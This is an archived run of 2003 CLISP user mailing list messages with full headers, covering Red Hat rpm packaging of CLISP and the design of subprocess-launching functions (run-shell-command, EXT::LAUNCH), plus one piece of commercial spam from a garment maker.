charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable Hello, some time ago I was asked by one of the developers to include clisp to my Red Hat rpm repository at http://atrpms.physik.fu-berlin.de/. Currently some support issues came up like whether this or that configure switch should be part of the rpm build or adding this and that patch from Suse/Gentoo etc. Unfortunately I myself am not a member of the clisp community and don't use clisp at all, so these issues are beyond my grasp. Is someone from the clisp community voluntaring to these QA tasks? If there isn't any interest, I will withdraw the Red Hat rpm, since currently users relay on a working rpm, and I don't know whether they are getting one. Having said that, a new rpm for Red Hat 9 (possibly working also for Red Hat 8.0) has been uploaded containg some suggestions from Daniel Tourde. I hope it works ... http://atrpms.physik.fu-berlin.de/dist/rh9/clisp/ --=20 Axel.Thimm@physik.fu-berlin.de --NzB8fVQJ5HfG6fxh Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.2 (GNU/Linux) iD8DBQE+3GDNQBVS1GOamfERAtc+AJ4yVWVa5nXaCO6SYAi2KadNHQpaSACeJpLa VFKdPdYPPIbQtBHVRZDjYjU= =1VHA -----END PGP SIGNATURE----- --NzB8fVQJ5HfG6fxh-- From sds@gnu.org Tue Jun 03 07:10:11 2003 Received: from pop015pub.verizon.net ([206.46.170.172] helo=pop015.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19NCDD-000662-00 for ; Tue, 03 Jun 2003 06:52:27 -0700 Received: from loiso.podval.org ([141.149.176.45]) by pop015.verizon.net (InterMail vM.5.01.05.33 201-253-122-126-133-20030313) with ESMTP id <20030603135217.DGYZ20810.pop015.verizon.net@loiso.podval.org>; Tue, 3 Jun 2003 08:52:17 -0500 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.8/8.12.8) with ESMTP id h53DqG1g022044; Tue, 3 Jun 2003 09:52:16 -0400 Received: (from sds@localhost) by loiso.podval.org (8.12.8/8.12.7/Submit) id h53DqEBJ022040; Tue, 3 Jun 2003 09:52:14 -0400 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Axel Thimm Cc: CLISP User Mailing List , Daniel Tourde Subject: Re: [clisp-list] Red Hat 9 rpms References: <20030603084815.GA3456@puariko.nirvana> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20030603084815.GA3456@puariko.nirvana> Message-ID: Lines: 51 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at pop015.verizon.net from [141.149.176.45] at Tue, 3 Jun 2003 08:52:17 -0500 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jun 3 07:11:04 2003 X-Original-Date: 03 Jun 2003 09:52:13 -0400 > * In message <20030603084815.GA3456@puariko.nirvana> > * On the subject of "[clisp-list] Red Hat 9 rpms" > * Sent on Tue, 3 Jun 2003 10:48:15 +0200 > * Honorable Axel Thimm writes: > > some time ago I was asked by one of the developers to include clisp to > my Red Hat rpm repository at http://atrpms.physik.fu-berlin.de/. we appreciate that you did it. we link to your package from the CLISP home page http://clisp.cons.org, so if you decide to withdraw it, please notify this list so that we will remove the link. > Currently some support issues came up like whether this or that > configure switch should be part of the rpm build or adding this and > that patch from Suse/Gentoo etc. Most of the patches from Suse/Gentoo/*BSD &c are actually taken from the CLISP CVS (as is often indicated by the "upstream" marker). > Unfortunately I myself am not a member of the clisp community and > don't use clisp at all, so these issues are beyond my grasp. You should tell your users to direct all non-packaging questions to . > Is someone from the clisp community voluntaring to these QA tasks? If > there isn't any interest, I will withdraw the Red Hat rpm, since > currently users relay on a working rpm, and I don't know whether they > are getting one. volunteers. :-) > Having said that, a new rpm for Red Hat 9 (possibly working also for > Red Hat 8.0) has been uploaded containg some suggestions from Daniel > Tourde. I hope it works ... > > http://atrpms.physik.fu-berlin.de/dist/rh9/clisp/ Thanks. Unfortunately, "atrpms is needed by clisp-2.30-4". --nodeps helps, but I would not expect the users to appreciate it. the package indeed works. -- Sam Steingold (http://www.podval.org/~sds) running RedHat9 GNU/Linux Parachute for sale, used once, never opened, small stain. From thimm@puariko.homeip.net Tue Jun 03 07:22:21 2003 Received: from heretic.physik.fu-berlin.de ([160.45.32.86] ident=root) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19NCfd-00047X-00 for ; Tue, 03 Jun 2003 07:21:49 -0700 Received: from puariko.homeip.net (pD9E7DDFD.dip.t-dialin.net [217.231.221.253]) by heretic.physik.fu-berlin.de (8.12.8/8.12.8) with ESMTP id h53ELSx0018875 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 3 Jun 2003 16:21:29 +0200 Received: (from thimm@localhost) by puariko.nirvana (8.12.8/8.12.8/Submit) id h53ELRro000603; Tue, 3 Jun 2003 16:21:27 +0200 From: Axel Thimm To: Sam Steingold Cc: CLISP User Mailing List , Daniel Tourde Message-ID: <20030603142127.GA32137@puariko.nirvana> References: <20030603084815.GA3456@puariko.nirvana> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="UugvWAfsgieZRqgk" Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4.1i Subject: [clisp-list] Re: Red Hat 9 rpms Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jun 3 07:23:06 2003 X-Original-Date: Tue, 3 Jun 2003 16:21:27 +0200 --UugvWAfsgieZRqgk Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Tue, Jun 03, 2003 at 09:52:13AM -0400, Sam Steingold wrote: > > Unfortunately I myself am not a member of the clisp community and > > don't use clisp at all, so these issues are beyond my grasp. >=20 > You should tell your users to direct all non-packaging questions to > . Unfortunately it is difficult to tell whether any issues are due to packaging or true bugs. > > Is someone from the clisp community voluntaring to these QA tasks? If > > there isn't any interest, I will withdraw the Red Hat rpm, since > > currently users relay on a working rpm, and I don't know whether they > > are getting one. >=20 > volunteers. :-) O.K., let's make the arrangement that I refer all issues I don't understand to clisp-list. > > Having said that, a new rpm for Red Hat 9 (possibly working also for > > Red Hat 8.0) has been uploaded containg some suggestions from Daniel > > Tourde. I hope it works ... > >=20 > > http://atrpms.physik.fu-berlin.de/dist/rh9/clisp/ >=20 > Thanks. > Unfortunately, "atrpms is needed by clisp-2.30-4". Yes, get this phony package also from http://atrpms.physik.fu-berlin.de/name/atrpms/ Its purpose is to identify all packages installed on your system originating from atrpms.physik.fu-berlin.de, so that one can ease upgrading/migration processes. > the package indeed works. Thanks for the feedback! --=20 Axel.Thimm@physik.fu-berlin.de --UugvWAfsgieZRqgk Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.2 (GNU/Linux) iD8DBQE+3K7nQBVS1GOamfERAuV+AKCZ9nrHsxJE3sl2lWCWetKXKUE24wCgl/hz 572AqnPFVJ6t8cAH46hrsS8= =zJdG -----END PGP SIGNATURE----- --UugvWAfsgieZRqgk-- From sds@gnu.org Tue Jun 03 08:06:25 2003 Received: from out005pub.verizon.net ([206.46.170.143] helo=out005.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19NDMn-0005w2-00 for ; Tue, 03 Jun 2003 08:06:25 -0700 Received: from loiso.podval.org ([141.149.176.45]) by out005.verizon.net (InterMail vM.5.01.05.33 201-253-122-126-133-20030313) with ESMTP id <20030603150618.NJMP20032.out005.verizon.net@loiso.podval.org>; Tue, 3 Jun 2003 10:06:18 -0500 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.8/8.12.8) with ESMTP id h53F681g022200; Tue, 3 Jun 2003 11:06:11 -0400 Received: (from sds@localhost) by loiso.podval.org (8.12.8/8.12.7/Submit) id h53F66SR022196; Tue, 3 Jun 2003 11:06:06 -0400 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Axel Thimm Cc: CLISP User Mailing List References: <20030603084815.GA3456@puariko.nirvana> <20030603142127.GA32137@puariko.nirvana> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20030603142127.GA32137@puariko.nirvana> Message-ID: Lines: 25 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at out005.verizon.net from [141.149.176.45] at Tue, 3 Jun 2003 10:06:18 -0500 Subject: [clisp-list] Re: Red Hat 9 rpms Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jun 3 08:07:05 2003 X-Original-Date: 03 Jun 2003 11:06:05 -0400 > * In message <20030603142127.GA32137@puariko.nirvana> > * On the subject of "Re: Red Hat 9 rpms" > * Sent on Tue, 3 Jun 2003 16:21:27 +0200 > * Honorable Axel Thimm writes: > > O.K., let's make the arrangement that I refer all issues I don't > understand to clisp-list. fine. > > Unfortunately, "atrpms is needed by clisp-2.30-4". > > Yes, get this phony package also from > > http://atrpms.physik.fu-berlin.de/name/atrpms/ it would be a good idea to list all the dependencies in the same page as the package itself. -- Sam Steingold (http://www.podval.org/~sds) running RedHat9 GNU/Linux ((lambda (x) (list x (list 'quote x))) '(lambda (x) (list x (list 'quote x)))) From lists@consulting.net.nz Tue Jun 03 18:23:01 2003 Received: from ip210-55-214-178.ip.win.co.nz ([210.55.214.178]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19NMzT-0005KB-00 for ; Tue, 03 Jun 2003 18:22:59 -0700 Received: from ip210-55-214-178.ip.win.co.nz [210.55.214.178]; Wed, 04 Jun 2003 13:22:48 +1200 From: Adam Warner To: clisp-list@lists.sourceforge.net Content-Type: text/plain Organization: Message-Id: <1054689769.3310.24.camel@work.consulting.net.nz> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.4 Content-Transfer-Encoding: 7bit Subject: [clisp-list] Separate Unix error stream keyword for ext:run-shell-command Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jun 3 18:24:02 2003 X-Original-Date: 04 Jun 2003 13:22:50 +1200 Hi all, In August last year a missing error stream keyword for ext:run-shell-command was discussed and Marco Baringer said he'd be "happy to take a whack at" implementing it. Did this ever get implemented in the CVS version of CLISP? Regardless, I'm so looking forward to CLISP version 2.31. Thanks, Adam PS: Sam Steingold approved of implementing this (23 Aug 2002 11:02:17 -0400): > * In message > * On the subject of "Re: [clisp-list] How to suppress / redirect standard error?" > * Sent on 23 Aug 2002 16:29:41 +0200 > * Honorable Marco Baringer writes: > > 1) wouldn't it be nice to have an :ERROR-STREAM keyword arg ala :INPUT > and :OUTPUT? (Sam, if you don't have objections i'd be happy to > take a whack at this.) go ahead! > 2) Why can't one specify a stream as the arg to :OUTPUT or :INPUT? a missing feature? thanks! From rachel@public.qz.fj.cn Tue Jun 03 19:15:23 2003 Received: from [218.5.160.162] (helo=public.qz.fj.cn) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19NNQq-0002LT-00 for ; Tue, 03 Jun 2003 18:51:16 -0700 From: "Rachel" To: clisp-list@lists.sourceforge.net Content-Type: multipart/mixed;charset="ISO-8859-1" Reply-To: rachel@public.qz.fj.cn X-Priority: 2 X-Mailer: Microsoft Outlook Express 5.00.2615.200 Message-Id: Subject: [clisp-list] manufacturer of garments and bags in China Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jun 3 19:16:05 2003 X-Original-Date: Wed, 4 Jun 2003 09:51:23 +0800 Dear Sir or Madam, I have the pleasure to know your esteemed Corp. We are a manufacturer of garments and bags in Quanzhou, China. I think we can cooperate and supply you with garments and bags as you need. The following is some introductions about our company. Set up: 1988 Type: manufacturer & exporter Product: knitted garments and bags Employees: 1300 persons ( garments factory: 500 bags factory: 800) Product data: product (main items) capacity(/year) brief 2,000,000dzs baby body 1,800,000dzs boxer short 200,000dzs pajama 50,000dzs soft bag 1,500,000pcs hard bag 500,000pcs Mimn order: 300dzs for garments 500pcs for bags Payment: irrevocable L/C at sight Our garment factory mainly specialize in Lady's and men's underwear, children's wear, baby's wear, pajama, boxer shorts, T-shirt, etc. The materials we often use are cotton, T/C, Polyester, Polyamide, Elasthan, and Polyamide. Our products are design with PAD system, produced with advanced equipment, processed in highly quality control system with seasoned workmanship and high efficiency. Our main market is Europe, Australia, Japan. We also accept the orders designed and required by costumers. Our bag factory was founded in 1988, too. We produce all kinds of bags, including suitcase, backpack, travel bag, shoulder bag, sport bag, trolley, camera bag, tote bag, school bag, computer case, luggage,waist bag, notecase, etc. And the goods have met a great favor in the Europe countries, Australia and America because of their good quality, beautiful design and competitive price. Thank you very much. Hope you will give us an opportunity to do business together and we will try our level best to fulfill your present requirement. Should you therefore need any more details for your clarification, pls do not hesitate to contact us. And you are welcome to visit our factories. With best regards Rachel Wang Mob:0086-13960286700 Jason Chen Mob:0086-13959893400 Vicki Wang Mob:0086-13960228599 ----------------------------------------------------------------------------- SENWER GARMENTS CO., LTD. ADD: Room F202, Fugui Renjia Building, Liuguan Road, Quanzhou, Fujian, China. Tel: 0086-595-2506700 Fax: 0086-595-2563400 P.C.:362000 E-mail: rachel@public.qz.fj.cn ----------------------------------------------------------------------------- From sds@gnu.org Wed Jun 04 06:07:51 2003 Received: from pop017pub.verizon.net ([206.46.170.210] helo=pop017.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19NXza-0000Hx-00 for ; Wed, 04 Jun 2003 06:07:50 -0700 Received: from loiso.podval.org ([141.149.176.45]) by pop017.verizon.net (InterMail vM.5.01.05.33 201-253-122-126-133-20030313) with ESMTP id <20030604130744.OMGF27254.pop017.verizon.net@loiso.podval.org>; Wed, 4 Jun 2003 08:07:44 -0500 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.8/8.12.8) with ESMTP id h54D7h1g025862; Wed, 4 Jun 2003 09:07:43 -0400 Received: (from sds@localhost) by loiso.podval.org (8.12.8/8.12.7/Submit) id h54D7gug025858; Wed, 4 Jun 2003 09:07:42 -0400 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Adam Warner Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Separate Unix error stream keyword for ext:run-shell-command References: <1054689769.3310.24.camel@work.consulting.net.nz> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <1054689769.3310.24.camel@work.consulting.net.nz> Message-ID: Lines: 17 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at pop017.verizon.net from [141.149.176.45] at Wed, 4 Jun 2003 08:07:44 -0500 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jun 4 06:08:15 2003 X-Original-Date: 04 Jun 2003 09:07:42 -0400 > * In message <1054689769.3310.24.camel@work.consulting.net.nz> > * On the subject of "[clisp-list] Separate Unix error stream keyword for ext:run-shell-command" > * Sent on 04 Jun 2003 13:22:50 +1200 > * Honorable Adam Warner writes: > > In August last year a missing error stream keyword for > ext:run-shell-command was discussed and Marco Baringer said he'd be > "happy to take a whack at" implementing it. Did this ever get > implemented in the CVS version of CLISP? Arseny is working on this - see EXT::LAUNCH (internal!) -- Sam Steingold (http://www.podval.org/~sds) running RedHat9 GNU/Linux I want Tamagochi! -- What for? Your pet hamster is still alive! From ampy@ich.dvo.ru Wed Jun 04 06:46:32 2003 Received: from ints.vtc.ru ([212.16.193.34] helo=vtc.ru) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19NYad-0000eL-00 for ; Wed, 04 Jun 2003 06:46:07 -0700 Received: from ppp173-AS-3.vtc.ru (ppp173-AS-3.vtc.ru [212.16.216.173]) by vtc.ru (8.12.9/8.12.9) with ESMTP id h54DjNHp014540; Thu, 5 Jun 2003 00:45:26 +1100 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <15329851764.20030605005129@ich.dvo.ru> To: Adam Warner , clisp-list@lists.sourceforge.net Subject: Re[2]: [clisp-list] Separate Unix error stream keyword for ext:run-shell-command In-reply-To: References: <1054689769.3310.24.camel@work.consulting.net.nz> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jun 4 06:47:17 2003 X-Original-Date: Thu, 5 Jun 2003 00:51:29 +1000 >> In August last year a missing error stream keyword for >> ext:run-shell-command was discussed and Marco Baringer said he'd be >> "happy to take a whack at" implementing it. Did this ever get >> implemented in the CVS version of CLISP? > Arseny is working on this - see EXT::LAUNCH (internal!) I'm slighltly confused about making it user-level. It is very similar to run-program and run-shell-command but it is more `direct' and does slightly more. But old ones are available on OS/2 (I'm not sure whether current clisp is still compileable on OS/2). Well, I'll document it and make user level. This is short description for discussion. BTW, Sam, did you changed default behavior to `don\'t wait' intentionally ? /* (LAUNCH executable [:arguments] [:wait] [:input] [:output] [:error]) Launches a program. :arguments : a list of strings :wait - nullp/not nullp - whether to wait for process to finish :priority : on windows : HIGH/LOW/NORMAL on UNIX : fixnum - see nice(2) :input, :output, :error - i/o/e streams for process. basically file-streams or terminal-streams. see stream_lend_handle() in stream.d for full list of supported streams returns: exit code (zero when (nullp wait)) */ -- Best regards, Arseny From lists@consulting.net.nz Wed Jun 04 07:47:13 2003 Received: from ip210-55-214-178.ip.win.co.nz ([210.55.214.178]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19NZXj-0006XP-00 for ; Wed, 04 Jun 2003 07:47:11 -0700 Received: from ip210-55-214-178.ip.win.co.nz [210.55.214.178]; Thu, 05 Jun 2003 02:46:47 +1200 Subject: Re: Re[2]: [clisp-list] Separate Unix error stream keyword for ext:run-shell-command From: Adam Warner To: Arseny Slobodjuck Cc: clisp-list@lists.sourceforge.net In-Reply-To: <15329851764.20030605005129@ich.dvo.ru> References: <1054689769.3310.24.camel@work.consulting.net.nz> <15329851764.20030605005129@ich.dvo.ru> Content-Type: text/plain Organization: Message-Id: <1054738000.9339.9.camel@note.macrology.co.nz> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.4 Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jun 4 07:53:36 2003 X-Original-Date: 05 Jun 2003 02:46:40 +1200 On Thu, 2003-06-05 at 02:51, Arseny Slobodjuck wrote: > >> In August last year a missing error stream keyword for > >> ext:run-shell-command was discussed and Marco Baringer said he'd be > >> "happy to take a whack at" implementing it. Did this ever get > >> implemented in the CVS version of CLISP? > > > Arseny is working on this - see EXT::LAUNCH (internal!) > > I'm slighltly confused about making it user-level. It is very similar > to run-program and run-shell-command but it is more `direct' and does > slightly more. But old ones are available on OS/2 (I'm not sure > whether current clisp is still compileable on OS/2). Well, I'll > document it and make user level. This is short description for > discussion. BTW, Sam, did you changed default behavior to `don\'t wait' > intentionally ? > > /* (LAUNCH executable [:arguments] [:wait] [:input] [:output] [:error]) > Launches a program. > :arguments : a list of strings > :wait - nullp/not nullp - whether to wait for process to finish > :priority : on windows : HIGH/LOW/NORMAL on UNIX : fixnum - see nice(2) > :input, :output, :error - i/o/e streams for process. basically file-streams > or terminal-streams. see stream_lend_handle() in stream.d for full list > of supported streams > returns: exit code (zero when (nullp wait)) */ Looks great. I'll be able to eliminate all the unnecessary but verbose messages currently clutering up my Apache logs (e.g. every time ls "fails" by not finding a particular wildcard match--Note that I do know about other file location options). Thanks, Adam From sds@gnu.org Wed Jun 04 07:54:36 2003 Received: from out004pub.verizon.net ([206.46.170.142] helo=out004.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19NZet-0002Qp-00 for ; Wed, 04 Jun 2003 07:54:35 -0700 Received: from loiso.podval.org ([141.149.176.45]) by out004.verizon.net (InterMail vM.5.01.05.33 201-253-122-126-133-20030313) with ESMTP id <20030604145424.VGFG246.out004.verizon.net@loiso.podval.org>; Wed, 4 Jun 2003 09:54:24 -0500 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.8/8.12.8) with ESMTP id h54Ero1g026190; Wed, 4 Jun 2003 10:53:57 -0400 Received: (from sds@localhost) by loiso.podval.org (8.12.8/8.12.7/Submit) id h54ErSPV026186; Wed, 4 Jun 2003 10:53:28 -0400 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Arseny Slobodjuck Cc: Adam Warner , clisp-list@lists.sourceforge.net Subject: Re: Re[2]: [clisp-list] Separate Unix error stream keyword for ext:run-shell-command References: <1054689769.3310.24.camel@work.consulting.net.nz> <15329851764.20030605005129@ich.dvo.ru> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <15329851764.20030605005129@ich.dvo.ru> Message-ID: Lines: 62 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at out004.verizon.net from [141.149.176.45] at Wed, 4 Jun 2003 09:54:22 -0500 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jun 4 07:57:05 2003 X-Original-Date: 04 Jun 2003 10:53:27 -0400 > * In message <15329851764.20030605005129@ich.dvo.ru> > * On the subject of "Re[2]: [clisp-list] Separate Unix error stream keyword for ext:run-shell-command" > * Sent on Thu, 5 Jun 2003 00:51:29 +1000 > * Honorable Arseny Slobodjuck writes: > > >> In August last year a missing error stream keyword for > >> ext:run-shell-command was discussed and Marco Baringer said he'd be > >> "happy to take a whack at" implementing it. Did this ever get > >> implemented in the CVS version of CLISP? > > > Arseny is working on this - see EXT::LAUNCH (internal!) > > I'm slighltly confused about making it user-level. It is very similar > to run-program and run-shell-command but it is more `direct' and does > slightly more. But old ones are available on OS/2 (I'm not sure > whether current clisp is still compileable on OS/2). OS/2 has been officially dead and unsupported (by IBM) for years. > Well, I'll document it and make user level. Please don't. We already have a whole bunch of built-in functions that do similar things: SHELL, MAKE-PIPE-INPUT-STREAM, MAKE-PIPE-OUTPUT-STREAM, MAKE-PIPE-IO-STREAM. That's more than enough. I want to have just one single built in. Let us make LAUNCH user-level only when it has absorbed all the functionality of the 4 other commands, and implement them as calling LAUNCH and deprecate them. In particular, it means that it needs an :INDIRECT argument to indicate that a shell should be called. Note that win32 calls CreateProcess() which, I think, calls a shell(?), while unix uses execvp() which does not... It will also need to accept :STREAM as the :INPUT/:OUTPUT/:ERROR argument to mean to create - and return - a new stream. > BTW, Sam, did you changed default behavior to `don\'t > wait' intentionally ? no, sorry. I will fix that. > /* (LAUNCH executable [:arguments] [:wait] [:input] [:output] [:error]) > Launches a program. > :arguments : a list of strings > :wait - nullp/not nullp - whether to wait for process to finish > :priority : on windows : HIGH/LOW/NORMAL on UNIX : fixnum - see nice(2) > :input, :output, :error - i/o/e streams for process. basically file-streams > or terminal-streams. see stream_lend_handle() in stream.d for full list > of supported streams > returns: exit code (zero when (nullp wait)) */ it returns NIL if wait is NIL. (should probably return the PID, INPUT, OUTPUT, ERROR?) -- Sam Steingold (http://www.podval.org/~sds) running RedHat9 GNU/Linux Please wait, MS Windows are preparing the blue screen of death. From dgou@mac.com Wed Jun 04 08:20:10 2003 Received: from smtpout.mac.com ([17.250.248.87]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19Na3c-0003Xe-00 for ; Wed, 04 Jun 2003 08:20:08 -0700 Received: from mac.com (smtpin07-en2 [10.13.10.152]) by smtpout.mac.com (Xserve/MantshX 2.0) with ESMTP id h54FK6UB016976 for ; Wed, 4 Jun 2003 08:20:07 -0700 (PDT) Received: from mac.com (unobtainium.wv.cc.cmu.edu [128.2.72.58]) (authenticated bits=0) by mac.com (Xserve/MantshX 2.0) with ESMTP id h54FIrqY012677; Wed, 4 Jun 2003 08:19:15 -0700 (PDT) Subject: Re: Re[2]: [clisp-list] Separate Unix error stream keyword for ext:run-shell-command Content-Type: text/plain; charset=US-ASCII; format=flowed Mime-Version: 1.0 (Apple Message framework v552) Cc: clisp-list@lists.sourceforge.net To: sds@gnu.org From: Douglas Philips In-Reply-To: Message-Id: Content-Transfer-Encoding: 7bit X-Mailer: Apple Mail (2.552) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jun 4 08:21:04 2003 X-Original-Date: Wed, 4 Jun 2003 11:18:52 -0400 On Wednesday, Jun 4, 2003, at 10:53 US/Eastern, Sam Steingold wrote: > t returns NIL if wait is NIL. > (should probably return the PID, INPUT, OUTPUT, ERROR?) This has all been interesting to follow. I'm wondering, did I miss a message or five about how one might be able to wait for a subprocess started without waiting. Sometimes I need to run a subprocess :wait nil and yet later be able to get its exit status... Esp. if I want to start a lot of them and not have zombies floating around... ;-) Just a thought... ; Wed, 04 Jun 2003 08:57:01 -0700 Received: by thalassa.informatimago.com (SMTP Daemon, from userid 1000) id E9D77964F5; Wed, 4 Jun 2003 17:55:04 +0200 (CEST) From: Pascal Bourguignon Message-ID: <16094.5720.851621.727908@thalassa.informatimago.com> To: Douglas Philips Cc: sds@gnu.org, clisp-list@lists.sourceforge.net Subject: Re: Re[2]: [clisp-list] Separate Unix error stream keyword for ext:run-shell-command In-Reply-To: References: X-Mailer: VM 7.07 under Emacs 21.3.50.pjb1.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-1 Content-Language: en Content-Transfer-Encoding: quoted-printable Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: 